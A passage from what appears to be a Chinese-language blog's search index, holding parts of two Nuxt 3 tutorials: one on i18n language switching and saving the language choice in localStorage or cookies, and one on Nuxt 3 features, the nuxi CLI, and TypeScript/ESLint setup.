}}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { useI18n } from \u0026#39;vue-i18n\u0026#39; const { locale } = useI18n() \u0026lt;/script\u0026gt; 若沒有特殊需求，切換語系你可以選擇直接設定 locale 來自動響應或使用 setLocale() 來設定語系。\n1 2 3 4 5 6 7 8 \u0026lt;script setup\u0026gt; import { useI18n } from \u0026#39;vue-i18n\u0026#39; const { locale, setLocale } = useI18n() locale.value = \u0026#39;en\u0026#39; // or setLocale(\u0026#39;en\u0026#39;) \u0026lt;/script\u0026gt; 完成後我們就可以切換 en 與 zh 語系，當然你也可以製作成選單來放置更多的語系來支援切換。\n獨立存放語系檔案 隨著專案增大，語系的翻譯數量也會增多，而全部放在 nuxt.config.ts 中也實在太過冗長，所以我習慣獨立放置在一個資料夾內做處理。\n稍微調整一下 nuxt.config.ts 如下：\nnuxt.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 export default defineNuxtConfig({ modules: [\u0026#39;@nuxtjs/i18n\u0026#39;], i18n: { defaultLocale: \u0026#39;zh\u0026#39;, langDir: \u0026#39;locales\u0026#39;, locales: [ { code: \u0026#39;en\u0026#39;, file: \u0026#39;en.json\u0026#39;, iso: \u0026#39;en-US\u0026#39;, name: \u0026#39;English\u0026#39; }, { code: \u0026#39;zh\u0026#39;, file: \u0026#39;zh.json\u0026#39;, iso: \u0026#39;zh-TW\u0026#39;, name: \u0026#39;繁體中文\u0026#39; } ], strategy: \u0026#39;no_prefix\u0026#39;, vueI18n: { legacy: false } } }) 接著我們就可以建立各個語系放置的資料夾對應著 i18n.langDir 屬性，目錄名稱為 locales，再依序建立 en.json 與 zh.json 檔案，最終目錄的結構大概會長這樣：\n1 2 3 4 5 6 7 nuxt-app/ ├── ... ├── locales/ │ ├── en.json │ └── zh.json ├── ... └── nuxt.config.ts ./locales/en.json 內容如下：\nlocales/en.json 1 2 3 4 { \u0026#34;hello\u0026#34;: \u0026#34;Hello!\u0026#34;, \u0026#34;language\u0026#34;: \u0026#34;Language\u0026#34; } ./locales/zh.json 內容如下：\nlocales/zh.json 1 2 3 4 { \u0026#34;hello\u0026#34;: \u0026#34;你好!\u0026#34;, \u0026#34;language\u0026#34;: \u0026#34;語言\u0026#34; } 翻譯的語系檔案，也可以在根據需求使用 .js、yaml 或 json 格式的檔案，來搭配接受參數來產生翻譯文字。\n持久化語系設定 當使用者切換語系之後，我們希望儲存這個語系設定，讓使用者下次瀏覽網站時，能套用儲存的語系，而不用再次切換，我們可以藉由瀏覽器的 LocalStorage 或 Cookie 來持久化。\nLocalStorage 來儲存語系設定 我們可以在變更語系時，同時將語系儲存至 LocalStorage 之中，下次瀏覽網站時，再從中取出套用語系。\n例如，我們調整 ./pages/index.vue 程式碼如下，在我們自訂的 changeLanguage() 方法內，同時呼叫 localStorage.setItem('i18n-lang', localeCode) 來儲存語系。\npages/index.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center bg-white\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;mt-48 text-8xl font-medium text-blue-500\u0026#34;\u0026gt; {{ $t(\u0026#39;hello\u0026#39;) }} \u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;mt-24 space-x-4\u0026#34;\u0026gt; \u0026lt;button v-for=\u0026#34;localeItem in locales\u0026#34; :key=\u0026#34;localeItem.code\u0026#34; type=\u0026#34;button\u0026#34; class=\u0026#34;inline-flex items-center rounded-md border border-transparent bg-blue-100 px-4 py-2 text-sm font-medium text-blue-700 hover:bg-blue-200 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2\u0026#34; @click=\u0026#34;changeLanguage(localeItem.code)\u0026#34; \u0026gt; {{ localeItem.name }} \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mt-4 flex flex-row justify-center\u0026#34;\u0026gt; \u0026lt;label class=\u0026#34;text-gray-600\u0026#34;\u0026gt;{{ $t(\u0026#39;language\u0026#39;) }}\u0026lt;/label\u0026gt; \u0026lt;span class=\u0026#34;ml-4 font-bold text-gray-800\u0026#34;\u0026gt;{{ locale }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { useI18n } from \u0026#39;vue-i18n\u0026#39; const { locale, locales } = useI18n() const changeLanguage = (localeCode) =\u0026gt; { locale.value = localeCode localStorage.setItem(\u0026#39;i18n-lang\u0026#39;, localeCode) } \u0026lt;/script\u0026gt; 調整 app.vue 從 LocalStorage 讀取 i18n-lang 的設定值\napp.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;NuxtPage /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { useI18n } from \u0026#39;vue-i18n\u0026#39; const { locale } = useI18n() const defaultLocaleCode = locale.value if (process.client) { locale.value = localStorage.getItem(\u0026#39;i18n-lang\u0026#39;) ?? defaultLocaleCode } \u0026lt;/script\u0026gt; 當下次我們瀏覽網站時，就會查看 LocalStorage 中的語系設定並套用。\nCookie 來儲存語系設定 Nuxt 3 的伺服器渲染，會導致第一次的請求無法在伺服器端取得 LocalStorage 的設定，所以上面的例子，仔細看會發現，雖然正確的套用儲存的 en 英語語系設定，但畫面是先從預設的 zh 繁體中文再切換過去，導致語系切換時閃了一下。\n我們可以透過使用 cookie 的方式來儲存語系，這樣伺服器端在接受第一次請求時也能解析出使用者的偏好設定，回傳正確的語系翻譯文字。\n你可以自己使用 Nuxt 3 提供 useCookie 等方式操作 cookie 來實現這套流程，不過呢，@nuxtjs/i18n 模組預設是啟用 cookie 相關的設定，提供的 setLocaleCookie() 與 getLocaleCookie() 可以來協助儲存語系設定至 cookie。\n調整 ./pages/index.vue 程式碼如下，在我們自訂的 changeLanguage() 方法內，同時呼叫 setLocaleCookie(localeCode) 來儲存語系。\npages/index.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center bg-white\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;mt-48 text-8xl font-medium text-blue-500\u0026#34;\u0026gt; {{ $t(\u0026#39;hello\u0026#39;) }} \u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;mt-24 space-x-4\u0026#34;\u0026gt; \u0026lt;button v-for=\u0026#34;localeItem in locales\u0026#34; :key=\u0026#34;localeItem.code\u0026#34; type=\u0026#34;button\u0026#34; class=\u0026#34;inline-flex items-center rounded-md border border-transparent bg-blue-100 px-4 py-2 text-sm font-medium text-blue-700 hover:bg-blue-200 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2\u0026#34; @click=\u0026#34;changeLanguage(localeItem.code)\u0026#34; \u0026gt; {{ localeItem.name }} \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mt-4 flex flex-row justify-center\u0026#34;\u0026gt; \u0026lt;label class=\u0026#34;text-gray-600\u0026#34;\u0026gt;{{ $t(\u0026#39;language\u0026#39;) }}\u0026lt;/label\u0026gt; \u0026lt;span class=\u0026#34;ml-4 font-bold text-gray-800\u0026#34;\u0026gt;{{ locale }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { useI18n } from \u0026#39;vue-i18n\u0026#39; const { locale, locales, setLocaleCookie } = useI18n() const changeLanguage = (localeCode) =\u0026gt; { locale.value = localeCode setLocaleCookie(localeCode) } \u0026lt;/script\u0026gt; 調整 app.vue 呼叫 getLocaleCookie() 從 cookie 解析的設定值，並再進行套用。\napp.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;NuxtPage /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { useI18n } from \u0026#39;vue-i18n\u0026#39; const { locale, getLocaleCookie } = useI18n() const defaultLocaleCode = locale.value locale.value = getLocaleCookie() ?? defaultLocaleCode \u0026lt;/script\u0026gt; 當我們使用 setLocaleCookie() 儲存語系至 cookie，會將 localeCode 儲存在 cookie 的 i18n_redirected 值上，當我們重新進入網頁，cookie 也將自動夾帶了這個 cookie 過去給伺服器端，並由 getLocaleCookie() 解析再由我們進行語系套用。\n其實 @nuxtjs/i18n 因為已將 detectBrowserLanguage.useCookie 預設為 true 等啟用了 cookie 儲存的相關設定，當使用者進入網站時，就會嘗試檢查瀏覽器的 cookie 來將使用者儲存的偏好語言進行套用或重定向。\n因此，我們在 app.vue 也不需要特別從 cookie 取出再進行套用，@nuxtjs/i18n 會自動幫我們完成。\napp.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;NuxtPage /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; // 除非你有特需的需求，不然這邊都不需要自己來了 // import { useI18n } from \u0026#39;vue-i18n\u0026#39; // const { locale, getLocaleCookie } = useI18n() // const defaultLocaleCode = locale.value // locale.value = getLocaleCookie() ?? defaultLocaleCode \u0026lt;/script\u0026gt; 而當使用者調整語系時，在第一個範例有提到，如果沒有特別需求，我們可以直接使用 locale 來設定語系，來自動響應變更語系，再使用 setLocaleCookie(localeCode) 將語系保存至 cookie 之內。\n1 2 3 4 5 6 7 8 9 \u0026lt;script setup\u0026gt; import { useI18n } from \u0026#39;vue-i18n\u0026#39; const { locale, locales, setLocaleCookie } = useI18n() const changeLanguage = (localeCode) =\u0026gt; { locale.value = localeCode setLocaleCookie(localeCode) } \u0026lt;/script\u0026gt; 但我們只要使用 setLocal() 方法來套用語系，就會一同更新至 cookie 中進行儲存，非常方便。最後我們將 ./pages/index.vue 中的 調整如下，一樣可以達到在 cookie 中儲存使用者語系並在下次瀏覽網頁時自動套用。\npages/index.vue 1 2 3 4 5 6 7 8 \u0026lt;script setup\u0026gt; import { useI18n } from \u0026#39;vue-i18n\u0026#39; const { locale, locales, setLocale } = useI18n() const changeLanguage = (localeCode) =\u0026gt; { setLocale(localeCode) } \u0026lt;/script\u0026gt; 使用 setLocaleCookie() 與 getLocaleCookie() 操作的預設設定，我們可以透過 nuxt.config.ts 中的 i18n.detectBrowserLanguage 進行調整，例如，調整 cookieKey 來變更儲存的名稱 i18n_redirected 等，更多選項可以參考這裡。\nnuxt.config.ts 1 2 3 4 5 6 7 8 9 10 11 export default defineNuxtConfig({ modules: [\u0026#39;@nuxtjs/i18n\u0026#39;], i18n: { // ... detectBrowserLanguage: { useCookie: true, cookieKey: \u0026#39;i18n_redirected\u0026#39; }, // ... } }) @nuxtjs/i18n 模組提供的 cookie 操作語系持久化，甚至能做到一些重導向等行為，較 Nuxt 3 提供 useCookie 等方式自己來實現這套流程能更擁有更多功能。\n範例程式碼 - Nuxt 3 - 搜尋引擎最佳化 (SEO) 之設定網頁 Meta 及 OG Tag 範例\n","date":"2023-01-16T00:00:00Z","image":"https://live.staticflickr.com/65535/52630283696_c93e29e870_o.png","permalink":"https://blog.wayne-project.com/2023-01-16/nuxt-nuxt3-practice-project/","title":"【Nuxt3】實戰練習 - 實作部落格"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n在使用 Vue 3 開發網站可能會面臨需要做 SEO 的情境，為了解決該情境問題，你可能會找到使用 Vite 做預渲染或其他方式，Nuxt 3 也是其中一個解決方案，且有更多強大的功能，目前 Nuxt 3 已經正式發布穩定版，就讓我們開始嘗鮮上手吧！\n本篇會著重在 Nuxt 3 的特色與功能學習，所以你可能需具備些 Vue 3 基礎，我將從搭建 Nuxt 3 開發環境、頁面路由與佈局一直到使用 Nuxt 3 建立 SEO 所需的資訊做些筆記及介紹，讓你有個概念並嘗試用 Nuxt 3 來做 SSR 或 SSG，進而解決 Vue 3 SPA 不好做 SEO 的問題。\nNuxt 3 介紹 前言 採用 SSR + SPA，將第一個畫面透過 SSR 產生，其他就交給 CSR 來做處理，既能兼具 SEO 還能擁有 SPA 的使用者體驗，不是很完美嗎？沒有錯，但在沒有任何框架輔助之下，同一個頁面你可能就需要實作兩次程式碼，也就是前後端各一次的渲染邏輯，這也就是相應的代價。在介紹 Nuxt 3 之前就稍微提一下 Isomorphic JavaScript 與 Universal JavaScript。\nIsomorphic JavaScript 與 Universal JavaScript Isomorphic JavaScript 隨著 Node.js 的出現，讓客戶端瀏覽器之外的伺服器也能執行 JavaScript 程式碼，使得 JavaScript 成為一種同構語言 (Isomorphic Language)。Isomorphic JavaScript 即稱之為同樣的 JavaScript 程式碼可以在客戶端及伺服器端運行；也就是說同一份 Code 除了能在前端瀏覽器也能在後端執行。\n然而 Isomorphic JavaScript 與 Universal JavaScript 的名詞存有一些爭議與差異，如今，Isomorphic JavaScript 多以稱相同的程式碼元件，可以在客戶端與伺服器端用來組裝或渲染出頁面的技術。\nUniversal JavaScript Michael Jackson 的文章提到，Isomorphic 這個詞的含義「corresponding or similar in form and relations」為兩個實體不相同，但具有相似的操作或對應的關係，換句話說就是，兩個看起來不一樣的使用方法或語法，但最終的執行結果是一樣的，例如 jQuery 或 Zepto 操作 DOM 的語法長的不大一樣，但是最終也都是對應 JavaScript 的 document.querySelector 等方法。\n所以說，為了描述相同的程式碼但能在不同環境中運行的名詞，就有了 Universal JavaScript 一詞，這個名字告訴人們 JavaScript 它不僅可以在服務器和瀏覽器上運行，還可以在本機設備和嵌入式架構上運行。\n那麼 Isomorphic JavaScript 和 Universal JavaScript 與我們又有什麼關係呢？\n有的，因為 Nuxt 3 正是一個 Isomorphic JavaScript 框架，Nuxt 3 是目前你使用 Vue 3 在開發網站時，會需要採用 SSR 技術或優化 SEO 問題所可以使用的解決方案。\nNuxt 3 Nuxt 3 官方在 2022/11/16 正式發布穩定版本 Nuxt 3.0 stable。\nNuxt 3 官網的標語 The Intuitive Web Framework，Nuxt 3 將讓你更直覺的體驗混合渲染等新功能，讓在使用 Vue 3 開發時變得更加簡單！\nNuxt 3 的新特性 從 Nuxt 3 官網的提供訊息所列，簡單說明一下 Nuxt 3 的新特性，共有下列 12 個：\nLighter：更輕量，針對現在瀏覽器，伺服器部署與客戶端打包能減少最高 75 倍之多。 Faster：更快速，通過 Nitro 提供支持的動態伺服器端程式碼拆分來優化冷啟動問題。 Hybird：動態的靜態頁面生成和其他高級模式，現在這些都將成為可能。 Suspense：在導航觸發的前後，皆可以在任何元件中取得數據資料。 Composition API：使用 Composition API 和 Nuxt 3 的 Composables 實現真正的程式碼可重用性。 Nuxt CLI：全新的零依賴體驗，幫助你輕鬆建立專案與模組整合。 Nuxt Dev Tools：專屬開發除錯工具，提供更多的資訊與快速修復，讓工作更高效。 Nuxt Kit：具備基於 TypeScript 和跨版本兼容性的全新模組開發。 webpack 5：更快速的打包時間與打包出更小的體積，並且無需任何配置。 Vite：使用 Vite 作為打包工具，體驗閃電般快速的 HMR。 Vue 3：完全支持 Vue 3。 TypeScript：使用 TypeScript 與 ESM 構建而成，無需額外的配置步驟。 Nitro Nuxt 3 由一個全新的伺服器引擎 Nitro 提供支持，它具有以下幾個特點：\n跨平台支持，支持 Node.js 與瀏覽器等。 Serverless 支持。 API 路由，使用 unjs/h3。 自動程式碼拆分 (code-splitting) 與異步加載 chunk (async-loaded chunks)。 混合渲染模式，供靜態 (static)與無伺服器 (serverless) 網站。 開發伺服器上的 HMR (hot module reloading)。 簡單來說，Nitro 已經是 Nuxt 3 包含的全新伺服器引擎，無需再進行配置。Nitro 除了支援 SPA、建立靜態的網站，甚至能在後端打 API 時直接調用相關函數，從而降低 API Request，整體來說是非常強大的伺服器引擎。\nNuxt 3 渲染模式 Nuxt 3 目前支援兩種渲染模式，Client-side Only Rendering 與 Universal Rendering。之後將會推出更先近的渲染模式，混合渲染 (Hybrid Rendering) 與邊緣渲染 (Edge-Side Rendering)。\nClient-side Only Rendering Nuxt 3 設定為該模式，如同單純使用 Vue 3 建置出的 SPA，瀏覽器下載並載入完 Vue 程式碼後，渲染 HTML 的所有動作皆在客戶端執行，也就是客戶端渲染 CSR。\nUniversal Rendering Universal Rendering 是 Nuxt 3 預設的渲染模式，在這個模式之下，無論頁面是預先產生並緩存還是動態渲染，Nuxt 都會在伺服器環境中執行 Vue 程式碼，並渲染 HTML，也就是如同 SSR，伺服器會向瀏覽器返回一個完整呈現的 HTML 頁面。當瀏覽器完整呈現的頁面出現後，也會開始載入 Vue 程式碼，以因應後續的動態頁面與路由跳轉等，即轉換為 SPA 開始由客戶端進行渲染。也就是說 Nuxt 3 的 Universal Rendering 即是指 SSR + SPA。\n混合渲染 (Hybrid Rendering) 我們在使用 Vue 開發 SPA 網站時，通常是會設置路由 (Route) 讓網頁能夠到達不同的頁面再來請求資料，此為 CSR。在使用 Nuxt 開發時能讓能網站擁有 SSR + SPA 的 Universal Rendering 渲染方式，除此之外，Nuxt 3 還提供了一種更先進的渲染模式——混合渲染 (Hybrid Rendering)，可以為每個路由設置不同的渲染與緩存的規則，讓部分頁面使用 CSR 在客戶端進行渲染，另一部分使用 SSR 在伺服器端進行渲染。\n邊緣渲染 (Edge-Side Rendering) Nitro 為 Nuxt 3 提供支持的全新伺服器端渲染引擎，它為 Node.js、Deno、Worker 等提供跨平台的支持，讓 Nuxt 可以在 CDN Edge Workers 進行渲染，故稱為邊緣渲染 (Edge-Side Rendering)，能有效分擔在伺服器端渲染時的資源負荷，將其提升到另一個層次，從而減少網路延遲及成本。\nNuxt 3 的建構工具 Nuxt 3 預設的建構工具如下：\n預設使用 Vite 也可以切換成 webpack Rollup PostCSS esbuild Nuxt 3 已經幫我們配置好一堆設定啦，真的是開箱即用，而且 Nuxt 也支援 TypeScript。如果說真的要調整配置，也可以再 nuxt.config 中進行調整，非常方便貼心。\n使用 nuxi 建立第一個專案 線上玩玩看 如果你還在觀望或是從隔壁棚過來的，還不想安裝相關工具與環境，那麼可以點擊下面其一連結，在 StackBlitza 或 CodeSandbox 的線上編輯器環境稍微玩玩，直接線上體驗 Nuxt 3。\nPlay on StackBlitz Play on CodeSandbox 開始建立第一個專案 先決條件 開始之前，依照 Nuxt 3 官網的起手式我們有幾個項目需要做一下檢查，我們這裡僅先注意一下 Node.js 的版本，建議使用目前最新 LTS 版本 v16.17.0 (包含 NPM v8.15.0)。\n使用 nuxi 建立 Nuxt 3 專案 nuxi 全名為 Nuxt Command Line Interface，是由 Nuxt 提供開發的標準工具，Nuxt CLI 就像是 Vue CLI 可以建立 Vue 專案，我們當然也就可以使用 Nuxt CLI 來建立 Nuxt 的專案。\n首先，打開終端機 (Terminal)，將目錄切換至自己習慣的工作區，接著輸入如下的 nuxi 提供指令並執行，來初始化建立一個 Nuxt 3 專案。在此，我們的專案名為 nuxt-app。\n1 npx nuxi init nuxt-app 如下圖，npx 會詢問你是否安裝最新版本的套件 nuxi@3.0.0-rc.10 輸入 y 即可。\n執行完指令後直到出現如下提示，代表專案已經初始建立成功，完成後可以發現目前目錄下多了一個名為 nuxt-app 的資料夾，這個資料夾也就是 Nuxt 3 專案的根目錄。\n接下來，我們可以進入專案目錄 nuxt-app。\n1 cd nuxt-app 在 nuxt-app 專案目錄下可以看到熟悉的 package.json，我們就可以開始安裝 Nuxt 3 專案的相關依賴套件。\n1 2 3 npm install # or # yarn Nuxt CLI 如同 Vue CLI 已經在建立專案時幫我們初始完成許多事情，再安裝完相關依賴套件後輸入下列指令，我們就可以在開發環境下啟動 Nuxt 了。\n1 2 3 npm run dev -- -o # or # yarn run dev -- -o 如果沒有意外，可以看到 Nitro 幫我們啟動了 Nuxt 3 的服務。\n根據提示，我們可以在瀏覽器輸入網址 http://localhost:3000/ 看看服務是否正常運作。\n如果看到如下圖的歡迎畫面，恭喜你！我們已經成功建立第一個 Nuxt 3 專案囉！\n現在你可以嘗試打開在專案目錄下的 app.vue 檔案之中，app.vue 是我們 Nuxt 專案的進入點，它的內容如下：\n1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;NuxtWelcome /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 可以發現它與 Vue 3 的單一元件檔 (Single File Component, SFC) 相比，好像少了點什麼，怎麼有用了 \u0026lt;NuxtWelcome /\u0026gt; 卻沒看見在哪邊 import 的呢？\n其實呢，\u0026lt;NuxtWelcome /\u0026gt; 這個元件就是我們前面瀏覽器看到的歡迎畫面，是 Nuxt 框架自帶的一個元件，而且 Nuxt 自動導入元件的更是其特色之一，後面的系列我們會再提到自動導入 (Auto Imports)。\n在這裡直接移除 \u0026lt;NuxtWelcome /\u0026gt; 就可以了，我們將 app.vue 調整如下，並保存檔案。\n1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;2022 iThome 鐵人賽\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 可以看見因為 Nuxt 預設 Vite 建構並支援 HMR (Hot Module Replacement)，我們可以在瀏覽器快速的看見修改後的結果。\n至此，大家就可以先簡單的玩玩 Nuxt 3，接下來我將補充一些 nuxi 的指令與參數簡介。\nNuxt CLI 常用指令 以下將簡單介紹一些常用的指令，若您在專案目錄下記得使用 npx 來執行 nuxi。\n另外在此提醒，下面所列的指令部分參數會進行省略，若有興趣翻翻完整的指令與參數說明，可以參考 Nuxt 3 官方文件。\nnuxi init 1 npx nuxi init|create [dir] 這個 nuxi init 指令是用來初始化一個 Nuxt 專案，等同 nuxi create 指令，dir 你可以填字串作為專案與資料夾名稱，也可以填寫完整路徑來建立專案目錄。\nnuxi dev 1 npx nuxi dev [--open, -o] [--port, -p] 當我們在本地端進行開發時，需要運行開發環境，當我們執行 npm run dev -- -o 時，依據 package.json 中的 scripts 所列，其實就是在執行 nuxi dev -o，其中的 -o 表示服務啟動後開啟瀏覽器。\n如果啟動服務發現 Port 衝突，你也可以透過 -p 來將預設的監聽的 Port: 3000 調整為其他數值。\n1 2 3 nuxi dev -p 3001 # 或 # npm run dev -- -o -p 3001 nuxi cleanup 1 npx nuxi clean|cleanup nuxi cleanup 等同 nuxi clean 指令，用來刪除 Nuxt 自動產生的檔案和緩存包括：\n.nuxt .output node_modules/.vite node_modules/.cache nuxi upgrade 1 npx nuxi upgrade [--force|-f] 這個指令可以用來將目前專案的 Nuxt 3 升級至最新的版本，如果有一些可能行為調整或不相容的情況，可以再依據實際情境搭配 -f 參數來強制更新。\n如下圖，只要一行指令 npx nuxi upgrade 就可以將專案版本由 3.0.0-rc.9 升級至 3.0.0-rc.10，在 RC 階段或之後想定期升級版本來說非常好用，但也請記得升級前可以先看一下官方的 Changelog。\nNuxt 3 + TypeScript + ESLint + Prettier 環境建置 在我們使用完 Nuxt CLI 建立完專案後，其實就可以開始進行專案的開發，但是呢，相信不少人對於程式碼的排版都有自己的風格，不同人的 Coding Style 肯定也都不一樣，然而在團隊協作需要標準或為了整體一致且美觀下，Linter 就是你的好幫手，此外，TypeScript 在 Nuxt 3 已經有內建支援，我也建議及推薦使用 TypeScript，接下來分享我自己在使用 Nuxt 3 開發時的 Linter 環境配置，包含了 TypeScript、ESLint 與 Prettier。\nTypeScript 類型檢查 Nuxt 3 已經有內建支援 TypeScript，一些 TypeScript 設定都可以在專案根目錄下配置 tsconfig.json，例如，在開發過程中針對 TypeScript 我會在開發環境下啟動類型檢查，可以參考以下進行配置。\nStep 1. 安裝 VS Code 插件 首先，推薦大家安裝下列兩個 VS Code 插件：\nVue Language Features (Volar)：寫 Vue 3 強力推薦必裝的插件，包含了上色、語法提示、編輯器快速分割等強大功能，而且也是 Nuxt 3 推薦的編輯器插件。 TypeScript Vue Plugin (Volar)：Vue 的 TypeScript 插件。 Step 2. 安裝 Vue 類型檢查套件 1 2 3 npm install -D vue-tsc typescript # or # yarn add -D vue-tsc typescript Step 3. 調整 nuxt.config.ts 設定 根據 nuxt3 官方文件說明，我們可以在 nuxt.config.ts 中，設置 typescript.typeCheck: true 來讓開發時期能執行類型檢查。\n1 2 3 4 5 export default defineNuxtConfig({ typescript: { typeCheck: true } }) Step 4. 重新啟動開發環境服務 我們重新執行 npm run dev -- -o 來重啟開發環境的服務，這樣就配置完成囉！\n看看效果 如果我們在 app.vue 寫了以下程式：\n1 2 3 4 5 6 7 8 9 10 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;NuxtWelcome /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34; setup\u0026gt; const year: number = \u0026#39;2022\u0026#39; const title: string = `${year} iThome 鐵人賽` \u0026lt;/script\u0026gt; 可以發現終端機 (Terminal) 就指出了一個錯誤的類型指派，並告知你有錯誤程式碼的位置。\nESLint 設置 Linter ESLint 是一個 JavaScript Linter，它用來檢查 JavaScript Coding Style 的工具，主要能幫你分析並找到語法錯誤，也能用來統一風格，例如：縮排空白數、字串要用單引號或雙引號等，提醒你刪掉多餘程式碼或遵照最佳的實踐方式，確保程式碼能具有一定的水準。在團隊協作下 ESLint 更能讓大家撰寫程式碼時遵照規則，確保程式碼品質。ESLint 除了提供你可以使用大公司如 Google、Airbnb 等的規則配置來作為檢查基準，也可以客製自訂出自己喜好或團隊共識的規則來分析與提醒你校正語法。\nStep 1. 安裝 ESLint 套件 現在我們至 Nuxt 專根目錄下，開始安裝 ESLint 相關套件，當然，你也可以挑自己喜歡的進行配置，不過在這裡選擇以 Nuxt 3 官方提供的 ESLint 設定來做標準配置，並添加支援 Vue 3 的 ESLint 設定。\n1 2 3 npm install -D eslint @nuxtjs/eslint-config-typescript eslint-plugin-vue # or # yarn add -D eslint @nuxtjs/eslint-config-typescript eslint-plugin-vue Step 2. 配置 ESLint 設定檔 安裝完所需套件後，接下來我們就可以來設定 ESLint，我們在專案根目錄下建立 .eslintrc.js 檔案，內容如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 module.exports = { env: { browser: true, es2021: true }, extends: [\u0026#39;@nuxtjs/eslint-config-typescript\u0026#39;, \u0026#39;plugin:vue/vue3-recommended\u0026#39;], parserOptions: { ecmaVersion: 13, sourceType: \u0026#39;module\u0026#39; }, plugins: [], rules: {}, overrides: [ { files: [ \u0026#39;**/pages/**/*.{js,ts,vue}\u0026#39;, \u0026#39;**/layouts/**/*.{js,ts,vue}\u0026#39;, \u0026#39;**/app.{js,ts,vue}\u0026#39;, \u0026#39;**/error.{js,ts,vue}\u0026#39; ], rules: { \u0026#39;vue/multi-word-component-names\u0026#39;: \u0026#39;off\u0026#39; } } ] } 在我們建立的 .eslintrc.js 檔案中 extends 可以是一個陣列，主要是來放置擴展 ESLint 的規則的配置，這裡稍微注意一下順序如下：\n@nuxtjs/eslint-config-typescript：對應 @nuxtjs/eslint-config-typescript 套件，由 Nuxt 官方提供用於 Nuxt 的 ESLint 規則配置。如果你不是使用 TypeScript 可以使用 @nuxtjs/eslint-config。\nplugin:vue/vue3-recommended：對應 eslint-plugin-vue 套件，由 Vue.js 官方提供的 ESLint 插件，包含了能配合 Vue SFC 語法及特性的規則，也可以參考官方文件，依據需求稍作調整。\n將特定目錄下的檔案關閉 vue/multi-word-component-names 規則，以此來因應 nuxt 的開發避免提示錯誤。\n因為目前 @nuxtjs/eslint-config-typescript 是基於 @nuxtjs/eslint-config 來擴展 TypeScript 的設定，而且 @nuxtjs/eslint-config 包含的是 Vue 2 的 ESLint 設定，所以我們需要再額外安裝 eslint-plugin-vue 來擴展 Vue 3 規則配置，並覆寫 vue/multi-word-component-names 規則。\n用 ESLint 來嘗試檢查 首先，我們編輯 app.vue 檔案內容如下：\n1 2 3 4 5 6 7 8 9 10 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;NuxtWelcome /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34; setup\u0026gt; const year: number = 2022 const title: string = `${year} iThome 鐵人賽` \u0026lt;/script\u0026gt; 接著我們執行下列指令來使用 eslint 檢查 app.vue 這個檔案。\n1 npx eslint -- app.vue 可以看到下圖，ESLint 指出 app.vue 的問題，在第 9 行中的 title 這個變數已經宣告了卻沒有被使用。\n這個錯誤訊息正是依據上面我們的 ESLint 配置所被檢視出來的，在 ESLint 規則定義好後，也有分成錯誤 (Error) 與警告 (Warning)，我們可以再依據 ESLint 給予的提示進行調整與修正。\n我們嘗試修正一下 app.vue 這個檔案，在 template 中使用 title 這個變數。\n1 2 3 4 5 6 7 8 9 10 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;{{ title }}\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34; setup\u0026gt; const year: number = 2022 const title: string = `${year} iThome 鐵人賽` \u0026lt;/script\u0026gt; 再一次執行 npx eslint -- app.vue，就會發現沒有錯誤訊息產生囉！\n在 package.json 設置腳本 我們除了逐個檔案做檢查，也可以設置腳本來檢查整個專案目錄下的程式碼。\n在 package.json 的 scripts 腳本中，我們可以新增一個指令 